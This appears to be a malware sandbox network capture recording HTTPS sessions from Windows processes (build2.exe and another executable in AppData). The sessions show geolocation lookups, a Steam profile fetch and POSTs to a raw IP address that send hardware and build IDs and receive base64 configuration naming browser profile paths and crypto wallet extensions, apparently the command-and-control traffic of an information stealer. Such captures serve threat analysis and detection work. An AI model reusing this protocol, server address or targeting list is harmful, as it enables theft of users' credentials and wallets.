2024-04-24 15:46:57 UTC	908	IN	HTTP/1.1 429 Too Many Requests Date: Wed, 24 Apr 2024 15:46:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KABtH59jFmURnwueXk3ZXvMrQJDHlIx2ZXVmzkdjYGsHj5bCZ5KVXbHhuotAAw8FZDzXNfPOeHLZydvJGjnc9Gi1cFy8itgobQMrykpY72oyUw7C%2BNmG6zZ7mVMS"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87973aa12cf00fe5-LAX alt-svc: h3=":443"; ma=86400
2024-04-24 15:46:57 UTC	461	IN	Data Raw: 33 39 62 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 38 63 65 34 65 39 65 30 66 63 63 63 62 65 65 35 66 63 61 32 65 31 65 39 62 33 66 66 66 39 65 65 65 36 65 39 65 66 Data Ascii: 39b<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="/cdn-cgi/l/email-protection#8ce4e9e0fcccbee5fca2e1e9b3fff9eee6e9ef
2024-04-24 15:46:57 UTC	469	IN	Data Raw: d0 b7 d0 b5 20 d0 b4 d0 b0 d0 bd d0 bd d1 8b d1 85 2e 20 d0 94 d0 bb d1 8f 20 d0 bf d0 be d0 bb d1 83 d1 87 d0 b5 d0 bd d0 b8 d1 8f 20 d0 b4 d0 be d0 bf d0 be d0 bb d0 bd d0 b8 d1 82 d0 b5 d0 bb d1 8c d0 bd d0 be d0 b9 20 d0 b8 d0 bd d1 84 d0 be d1 80 d0 bc d0 b0 d1 86 d0 b8 d0 b8 2c 20 d0 bf d0 be d0 b6 d0 b0 d0 bb d1 83 d0 b9 d1 81 d1 82 d0 b0 2c 20 d0 be d0 b1 d1 80 d0 b0 d1 89 d0 b0 d0 b9 d1 82 d0 b5 63 d1 8c 20 d0 bf d0 be 20 d0 b0 d0 b4 d1 80 d0 b5 d1 81 d1 83 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 66 30 39 38 39 35 39 63 38 30 62 30 63 32 39 39 38 30 64 65 38 35 39 31 63 66 38 33 38 35 39 32 39 61 39 35 39 33 38 34 63 64 63 32 39 39 38 30 64 65 38 35 39 31 22 3e 3c 73 70 61 Data Ascii: . , , c <a href="/cdn-cgi/l/email-protection#f098959c80b0c29980de8591cf8385929a959384cdc29980de8591"><spa
2024-04-24 15:46:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49737	96.17.209.196	443	7176	C:\Users\user\AppData\Local\66ea3557-6cb8-4b6a-8c65-832fd98152ba\build2.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 15:47:02 UTC	119	OUT	GET /profiles/76561199673019888 HTTP/1.1 Host: steamcommunity.com Connection: Keep-Alive Cache-Control: no-cache
2024-04-24 15:47:02 UTC	1870	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.akamai.steamstatic.com/ https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Wed, 24 Apr 2024 15:47:02 GMT Content-Length: 33790 Connection: close Set-Cookie: sessionid=77b7daffeb2f13ef3cd6b981; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7C8efca4b9dedd65f9ac922759639cacad; Path=/; Secure; HttpOnly; SameSite=None
2024-04-24 15:47:02 UTC	14514	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-04-24 15:47:02 UTC	10062	IN	Data Raw: 6f 62 61 6c 5f 61 63 74 69 6f 6e 5f 6c 69 6e 6b 22 20 69 64 3d 22 6c 61 6e 67 75 61 67 65 5f 70 75 6c 6c 64 6f 77 6e 22 20 6f 6e 63 6c 69 63 6b 3d 22 53 68 6f 77 4d 65 6e 75 28 20 74 68 69 73 2c 20 27 6c 61 6e 67 75 61 67 65 5f 64 72 6f 70 64 6f 77 6e 27 2c 20 27 72 69 67 68 74 27 20 29 3b 22 3e 6c 61 6e 67 75 61 67 65 3c 2f 73 70 61 6e 3e 0d 0a 09 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 6f 70 75 70 5f 62 6c 6f 63 6b 5f 6e 65 77 22 20 69 64 3d 22 6c 61 6e 67 75 61 67 65 5f 64 72 6f 70 64 6f 77 6e 22 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 22 3e 0d 0a 09 09 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 6f 70 75 70 5f 62 6f 64 79 20 70 6f 70 75 70 5f 6d 65 6e 75 22 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 Data Ascii: obal_action_link" id="language_pulldown" onclick="ShowMenu( this, 'language_dropdown', 'right' );">language</span><div class="popup_block_new" id="language_dropdown" style="display: none;"><div class="popup_body popup_menu">
2024-04-24 15:47:02 UTC	9214	IN	Data Raw: 74 65 61 6d 67 61 6d 65 73 2e 63 6f 6d 5c 2f 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 53 54 41 54 53 5f 42 41 53 45 5f 55 52 4c 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 74 74 70 73 3a 5c 2f 5c 2f 70 61 72 74 6e 65 72 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 5c 2f 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 49 4e 54 45 52 4e 41 4c 5f 53 54 41 54 53 5f 42 41 53 45 5f 55 52 4c 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 65 61 6d 73 74 61 74 73 2e 76 61 6c 76 65 2e 6f 72 67 5c 2f 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 49 4e 5f 43 4c 49 45 4e 54 26 71 75 6f 74 3b 3a 66 61 6c 73 65 2c 26 71 75 6f 74 3b 55 53 45 5f 50 4f 50 55 50 53 26 71 75 6f 74 3b 3a 66 61 6c 73 65 2c 26 71 75 6f 74 3b 53 54 4f 52 45 5f 49 43 4f 4e 5f 42 41 Data Ascii: teamgames.com\/","STATS_BASE_URL":"https:\/\/partner.steampowered.com\/","INTERNAL_STATS_BASE_URL":"https:\/\/steamstats.valve.org\/","IN_CLIENT":false,"USE_POPUPS":false,"STORE_ICON_BA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49738	95.217.9.149	443	7176	C:\Users\user\AppData\Local\66ea3557-6cb8-4b6a-8c65-832fd98152ba\build2.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 15:47:04 UTC	169	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0 Host: 95.217.9.149 Connection: Keep-Alive Cache-Control: no-cache
2024-04-24 15:47:04 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 15:47:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-04-24 15:47:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49739	172.67.139.220	443	7288	C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 15:47:04 UTC	85	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2024-04-24 15:47:05 UTC	912	IN	HTTP/1.1 429 Too Many Requests Date: Wed, 24 Apr 2024 15:47:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=T2xVnQN8M1tH5OxWegTSwBy%2FgthvN6mqvaisrteOX1vk5NrEUnGBDccHkcpbglF6aDntbrzhZtshIsEvAbjyZ5efaF%2ByJtfyVVH8rHHvW3nPp5MIyzQswBV%2BUHBe"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87973ad40c83db5e-LAX alt-svc: h3=":443"; ma=86400
2024-04-24 15:47:05 UTC	457	IN	Data Raw: 33 32 66 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 39 37 66 66 66 32 66 62 65 37 64 37 61 35 66 65 65 37 62 39 66 61 66 32 61 38 65 34 65 32 66 35 66 64 66 32 66 34 Data Ascii: 32f<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="/cdn-cgi/l/email-protection#97fff2fbe7d7a5fee7b9faf2a8e4e2f5fdf2f4
2024-04-24 15:47:05 UTC	365	IN	Data Raw: d0 b1 d0 b0 d0 b7 d0 b5 20 d0 b4 d0 b0 d0 bd d0 bd d1 8b d1 85 2e 20 d0 94 d0 bb d1 8f 20 d0 bf d0 be d0 bb d1 83 d1 87 d0 b5 d0 bd d0 b8 d1 8f 20 d0 b4 d0 be d0 bf d0 be d0 bb d0 bd d0 b8 d1 82 d0 b5 d0 bb d1 8c d0 bd d0 be d0 b9 20 d0 b8 d0 bd d1 84 d0 be d1 80 d0 bc d0 b0 d1 86 d0 b8 d0 b8 2c 20 d0 bf d0 be d0 b6 d0 b0 d0 bb d1 83 d0 b9 d1 81 d1 82 d0 b0 2c 20 d0 be d0 b1 d1 80 d0 b0 d1 89 d0 b0 d0 b9 d1 82 d0 b5 63 d1 8c 20 d0 bf d0 be 20 d0 b0 d0 b4 d1 80 d0 b5 d1 81 d1 83 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 38 35 65 64 65 30 65 39 66 35 63 35 62 37 65 63 66 35 61 62 66 30 65 34 62 61 66 36 66 30 65 37 65 66 65 30 65 36 66 31 62 38 62 37 65 63 66 35 61 62 66 30 65 34 22 3e Data Ascii: . , , c <a href="/cdn-cgi/l/email-protection#85ede0e9f5c5b7ecf5abf0e4baf6f0e7efe0e6f1b8b7ecf5abf0e4">
2024-04-24 15:47:05 UTC	114	IN	Data Raw: 36 63 0d 0a 3c 73 63 72 69 70 74 20 64 61 74 61 2d 63 66 61 73 79 6e 63 3d 22 66 61 6c 73 65 22 20 73 72 63 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 63 72 69 70 74 73 2f 35 63 35 64 64 37 32 38 2f 63 6c 6f 75 64 66 6c 61 72 65 2d 73 74 61 74 69 63 2f 65 6d 61 69 6c 2d 64 65 63 6f 64 65 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a Data Ascii: 6c<script data-cfasync="false" src="/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script>
2024-04-24 15:47:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49740	95.217.9.149	443	7176	C:\Users\user\AppData\Local\66ea3557-6cb8-4b6a-8c65-832fd98152ba\build2.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 15:47:05 UTC	261	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAKKKEBFCGDBGDGCFHCB User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0 Host: 95.217.9.149 Content-Length: 279 Connection: Keep-Alive Cache-Control: no-cache
2024-04-24 15:47:05 UTC	279	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 41 41 4b 4b 4b 45 42 46 43 47 44 42 47 44 47 43 46 48 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 41 45 33 45 41 42 44 46 37 43 45 32 39 31 34 36 34 38 33 37 34 2d 61 33 33 63 37 33 34 30 2d 36 31 63 61 2d 31 31 65 65 2d 38 63 31 38 2d 38 30 36 65 36 66 36 65 36 39 36 33 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 4b 4b 45 42 46 43 47 44 42 47 44 47 43 46 48 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 37 30 36 64 63 36 63 39 32 30 32 34 33 30 62 63 36 66 62 32 65 37 34 38 39 36 64 38 33 31 31 0d 0a 2d 2d 2d 2d 2d 2d Data Ascii: ------AAKKKEBFCGDBGDGCFHCBContent-Disposition: form-data; name="hwid"6AE3EABDF7CE2914648374-a33c7340-61ca-11ee-8c18-806e6f6e6963------AAKKKEBFCGDBGDGCFHCBContent-Disposition: form-data; name="build_id"1706dc6c9202430bc6fb2e74896d8311------
2024-04-24 15:47:06 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 15:47:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-04-24 15:47:06 UTC	69	IN	Data Raw: 33 61 0d 0a 31 7c 31 7c 31 7c 31 7c 66 61 30 30 35 39 33 61 62 62 39 32 39 65 65 33 31 31 35 64 31 32 35 65 66 38 34 62 37 33 33 66 7c 31 7c 31 7c 31 7c 30 7c 30 7c 35 30 30 30 30 7c 30 0d 0a 30 0d 0a 0d 0a Data Ascii: 3a1\|1\|1\|1\|fa00593abb929ee3115d125ef84b733f\|1\|1\|1\|0\|0\|50000\|00

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49741	95.217.9.149	443	7176	C:\Users\user\AppData\Local\66ea3557-6cb8-4b6a-8c65-832fd98152ba\build2.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 15:47:07 UTC	261	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBGCGDBKEGHIEBGDBFHD User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0 Host: 95.217.9.149 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-04-24 15:47:07 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 43 42 47 43 47 44 42 4b 45 47 48 49 45 42 47 44 42 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 61 30 30 35 39 33 61 62 62 39 32 39 65 65 33 31 31 35 64 31 32 35 65 66 38 34 62 37 33 33 66 0d 0a 2d 2d 2d 2d 2d 2d 43 42 47 43 47 44 42 4b 45 47 48 49 45 42 47 44 42 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 37 30 36 64 63 36 63 39 32 30 32 34 33 30 62 63 36 66 62 32 65 37 34 38 39 36 64 38 33 31 31 0d 0a 2d 2d 2d 2d 2d 2d 43 42 47 43 47 44 42 4b 45 47 48 49 45 42 47 44 42 46 48 44 0d 0a 43 6f 6e 74 Data Ascii: ------CBGCGDBKEGHIEBGDBFHDContent-Disposition: form-data; name="token"fa00593abb929ee3115d125ef84b733f------CBGCGDBKEGHIEBGDBFHDContent-Disposition: form-data; name="build_id"1706dc6c9202430bc6fb2e74896d8311------CBGCGDBKEGHIEBGDBFHDCont
2024-04-24 15:47:08 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 15:47:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-04-24 15:47:08 UTC	1564	IN	Data Raw: 36 31 30 0d 0a 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 64 76 62 32 64 73 5a 53 42 44 61 48 4a 76 62 57 55 67 51 32 46 75 59 58 4a 35 66 46 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 4e 34 55 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 4e 6f 63 6d 39 74 61 58 56 74 66 46 78 44 61 48 4a 76 62 57 6c 31 62 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 46 52 76 63 6d 4e 6f 66 46 78 55 62 33 4a 6a 61 46 78 56 63 32 56 79 49 45 Data Ascii: 610R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfEdvb2dsZSBDaHJvbWUgQ2FuYXJ5fFxHb29nbGVcQ2hyb21lIFN4U1xVc2VyIERhdGF8Y2hyb21lfENocm9taXVtfFxDaHJvbWl1bVxVc2VyIERhdGF8Y2hyb21lfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfFRvcmNofFxUb3JjaFxVc2VyIE

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49742	95.217.9.149	443	7176	C:\Users\user\AppData\Local\66ea3557-6cb8-4b6a-8c65-832fd98152ba\build2.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 15:47:09 UTC	261	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHCBGIIJKEBFCBGDBAEB User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0 Host: 95.217.9.149 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-04-24 15:47:09 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 46 48 43 42 47 49 49 4a 4b 45 42 46 43 42 47 44 42 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 61 30 30 35 39 33 61 62 62 39 32 39 65 65 33 31 31 35 64 31 32 35 65 66 38 34 62 37 33 33 66 0d 0a 2d 2d 2d 2d 2d 2d 46 48 43 42 47 49 49 4a 4b 45 42 46 43 42 47 44 42 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 37 30 36 64 63 36 63 39 32 30 32 34 33 30 62 63 36 66 62 32 65 37 34 38 39 36 64 38 33 31 31 0d 0a 2d 2d 2d 2d 2d 2d 46 48 43 42 47 49 49 4a 4b 45 42 46 43 42 47 44 42 41 45 42 0d 0a 43 6f 6e 74 Data Ascii: ------FHCBGIIJKEBFCBGDBAEBContent-Disposition: form-data; name="token"fa00593abb929ee3115d125ef84b733f------FHCBGIIJKEBFCBGDBAEBContent-Disposition: form-data; name="build_id"1706dc6c9202430bc6fb2e74896d8311------FHCBGIIJKEBFCBGDBAEBCont
2024-04-24 15:47:10 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 15:47:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-04-24 15:47:10 UTC	5165	IN	Data Raw: 31 34 32 30 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 75 61 32 4a 70 61 47 5a 69 5a 57 39 6e 59 57 56 68 62 32 56 6f 62 47 56 6d 62 6d 74 76 5a 47 4a 6c 5a 6d 64 77 5a 32 74 75 62 6e 77 78 66 44 42 38 4d 48 78 4e 5a 58 52 68 54 57 46 7a 61 33 77 78 66 47 52 71 59 32 78 6a 61 32 74 6e 62 47 56 6a 61 47 39 76 59 6d 78 75 5a 32 64 6f 5a 47 6c 75 62 57 56 6c 62 57 74 69 5a 32 4e 70 66 44 46 38 4d 48 77 77 66 45 31 6c 64 47 46 4e 59 58 4e 72 66 44 46 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 4d 58 78 70 59 6d 35 6c 61 6d 52 6d 61 6d 31 74 61 33 42 6a 62 6d 78 77 5a 57 4a 72 62 47 31 75 61 32 39 6c 62 Data Ascii: 1420TWV0YU1hc2t8MXxua2JpaGZiZW9nYWVhb2VobGVmbmtvZGJlZmdwZ2tubnwxfDB8MHxNZXRhTWFza3wxfGRqY2xja2tnbGVjaG9vYmxuZ2doZGlubWVlbWtiZ2NpfDF8MHwwfE1ldGFNYXNrfDF8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8VHJvbkxpbmt8MXxpYm5lamRmam1ta3BjbmxwZWJrbG1ua29lb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49743	95.217.9.149	443	7176	C:\Users\user\AppData\Local\66ea3557-6cb8-4b6a-8c65-832fd98152ba\build2.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 15:47:11 UTC	262	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBKFBAECBAEGDGDHIEHI User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0 Host: 95.217.9.149 Content-Length: 5873 Connection: Keep-Alive Cache-Control: no-cache
2024-04-24 15:47:11 UTC	5873	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 43 42 4b 46 42 41 45 43 42 41 45 47 44 47 44 48 49 45 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 61 30 30 35 39 33 61 62 62 39 32 39 65 65 33 31 31 35 64 31 32 35 65 66 38 34 62 37 33 33 66 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 46 42 41 45 43 42 41 45 47 44 47 44 48 49 45 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 37 30 36 64 63 36 63 39 32 30 32 34 33 30 62 63 36 66 62 32 65 37 34 38 39 36 64 38 33 31 31 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 46 42 41 45 43 42 41 45 47 44 47 44 48 49 45 48 49 0d 0a 43 6f 6e 74 Data Ascii: ------CBKFBAECBAEGDGDHIEHIContent-Disposition: form-data; name="token"fa00593abb929ee3115d125ef84b733f------CBKFBAECBAEGDGDHIEHIContent-Disposition: form-data; name="build_id"1706dc6c9202430bc6fb2e74896d8311------CBKFBAECBAEGDGDHIEHICont
2024-04-24 15:47:12 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 15:47:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-04-24 15:47:12 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

